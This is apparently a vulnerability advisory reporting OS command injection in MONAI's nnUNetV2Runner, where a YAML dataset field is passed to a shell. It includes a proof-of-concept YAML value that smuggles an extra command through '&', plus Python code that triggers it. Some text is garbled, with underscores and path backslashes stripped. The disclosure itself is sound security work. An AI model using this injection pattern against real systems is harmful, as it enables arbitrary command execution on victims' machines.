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MONAI vulnerable to OS command injection.

This library concatenates user-controlled values (YAML's "dataset name or id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

Verified on Windows. Load a modified YAML file with crafted "dataset name or id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset name or id: '4 & echo "This is exploited" > "C:UsersshimaOneDriveDesktoptmptest.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet raw nnunet preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet preprocessed nnunet results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2 runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:UsersshimaOneDriveDesktoptmptest.yaml" #Text file overwritten when command executes OUT = Path(r"C:UsersshimaOneDriveDesktoptmptest.txt") #Read YAML runner = nnUNetV2Runner(input config=YAML, trainer class name="nnUNetTrainer") runner.train single model(config="3d fullres", fold=0, gpu id=0) #Verify command execution print("Result:", OUT.read text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip